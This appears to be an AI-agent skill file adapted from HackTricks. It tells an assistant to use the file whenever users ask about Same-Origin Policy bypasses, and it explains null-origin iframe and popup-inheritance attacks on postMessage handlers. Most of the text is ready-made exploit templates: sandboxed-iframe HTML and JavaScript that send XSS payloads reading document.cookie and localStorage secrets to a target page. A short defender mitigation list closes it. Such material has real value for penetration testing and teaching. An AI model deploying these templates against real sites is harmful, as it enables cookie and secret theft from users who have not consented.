Hacktricks-skills sop-iframe-bypass

How to exploit Same-Origin Policy (SOP) bypasses using iframes and null origins. Use this skill whenever the user mentions SOP bypass, iframe exploitation, null origin attacks, cross-origin message vulnerabilities, or needs to exploit XSS through iframe manipulation. This skill covers techniques for bypassing origin checks in postMessage handlers, exploiting sandboxed iframe behaviors, and chaining popup inheritance for origin spoofing.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1/SKILL.MD
source content

SOP Bypass with Iframes

This skill covers techniques for bypassing Same-Origin Policy protections using iframe sandboxing and null origin exploitation.

Core Concepts

The Vulnerability Pattern

Many applications use

postMessage
with origin checks like this:

onmessage = (e) => {
  const data = e.data
  if (e.origin !== window.origin && data.identifier !== identifier) return
  // ... process message
}

The vulnerability exists when:

  1. The origin check can be bypassed (e.g., both sides become
    null
    )
  2. The identifier check can be satisfied or bypassed
  3. The message handler executes untrusted content (XSS)

Null Origin Exploitation

When a page is loaded in a sandboxed iframe without

allow-same-origin
, its
window.origin
becomes
null
.

Key behaviors:

  • <iframe sandbox="allow-scripts">
    window.origin === null
  • Popups opened from null-origin pages inherit the null origin (unless
    allow-popups-to-escape-sandbox
    is set)
  • Two null-origin contexts can communicate via
    postMessage
    because
    null === null

Exploitation Techniques

Technique 1: Direct Sandbox Embedding

If the target page is embeddable (no X-Frame-Options or Content-Security-Policy restrictions):

<iframe sandbox="allow-scripts" src="https://target.com/vulnerable-page"></iframe>

The iframe's

window.origin
becomes
null
, bypassing origin checks that compare against
window.origin
.

Technique 2: Popup Inheritance Chain

When direct embedding isn't possible, use a popup chain:

  1. Create a sandboxed iframe (origin = null)
  2. Open a popup from the iframe to the target page
  3. The popup inherits null origin
  4. Both contexts can now communicate via postMessage

Required sandbox flags:

  • allow-scripts
    - Execute JavaScript
  • allow-popups
    - Open popup windows
  • allow-top-navigation
    - Navigate the top window (if needed)

Technique 3: Identifier Extraction and Relay

When the target requires an identifier check:

  1. First message: Send payload to extract the identifier
  2. Second message: Use the identifier to send the actual exploit
  3. Chain through the top window if needed

Exploit Template

Basic Null Origin Exploit

<body>
  <script>
    const iframe = document.createElement("iframe")
    iframe.sandbox = "allow-scripts allow-popups allow-top-navigation"
    
    iframe.srcdoc = `
      <script>
        // Open target in popup (inherits null origin)
        const popup = open('https://target.com/vulnerable-page');
        
        // Send message to popup (both have null origin)
        setTimeout(() => {
          popup.postMessage({
            type: 'render',
            body: '<img/src/onerror=alert(document.cookie)>'
          }, '*')
        }, 1000);
      <\/script>
    `
    
    document.body.appendChild(iframe)
  </script>
</body>

Advanced: Identifier Extraction Chain

// Step 1: Create sandboxed iframe
const iframe = document.createElement("iframe")
iframe.sandbox = "allow-scripts allow-popups allow-top-navigation"

// Step 2: Payload that extracts identifier and relays to top
const relayPayload = `
  const target = opener.top;
  target.postMessage(1, '*');
  setTimeout(() => {
    target.postMessage({
      type: 'render',
      identifier: 'KNOWN_IDENTIFIER',
      body: '<img/src/onerror=alert(localStorage.getItem("secret"))>'
    }, '*');
  }, 1000);
`.replaceAll("\n", " ")

// Step 3: Initial communication
iframe.srcdoc = `
  <script>
    const popup = open('https://target.com/vulnerable-page');
    onmessage = e => top.location = 'https://target.com/vulnerable-page';
    setTimeout(() => {
      popup.postMessage({
        type: 'render',
        body: '<audio/src/onerror="${relayPayload}">'
      }, '*')
    }, 1000);
  <\/script>
`

document.body.appendChild(iframe)

Detection Checklist

Before attempting exploitation, verify:

  • Target page is embeddable (no X-Frame-Options: DENY/SAMEORIGIN)
  • Target uses postMessage with origin checks
  • Origin check compares against
    window.origin
  • Target executes untrusted content (innerHTML, eval, etc.)
  • Sandbox attributes can be controlled

Mitigation Recommendations

For defenders:

  1. Never trust
    window.origin
    alone
    - Use explicit allowlists
  2. Validate message sources - Check against known domains, not just equality
  3. Sanitize all content - Use DOMPurify or similar before innerHTML
  4. Set X-Frame-Options - Prevent embedding:
    DENY
    or
    SAMEORIGIN
  5. Use Content-Security-Policy - Restrict frame-ancestors
  6. Avoid identifier-based auth - Use proper authentication tokens

Common Pitfalls

  • Cookies: May need
    SameSite=None; Secure
    for cross-origin iframe access
  • Popup blockers: Users may block the popup window
  • CSP restrictions: frame-ancestors policy may prevent embedding
  • Timing: Use setTimeout to ensure popup is ready before messaging
  • Origin comparison:
    null === null
    is true, but
    null === "https://..."
    is false

Related Techniques

  • DOM Clobbering for origin manipulation
  • Data URI origin exploitation
  • Blob URL origin bypasses
  • postMessage targetOrigin validation bypasses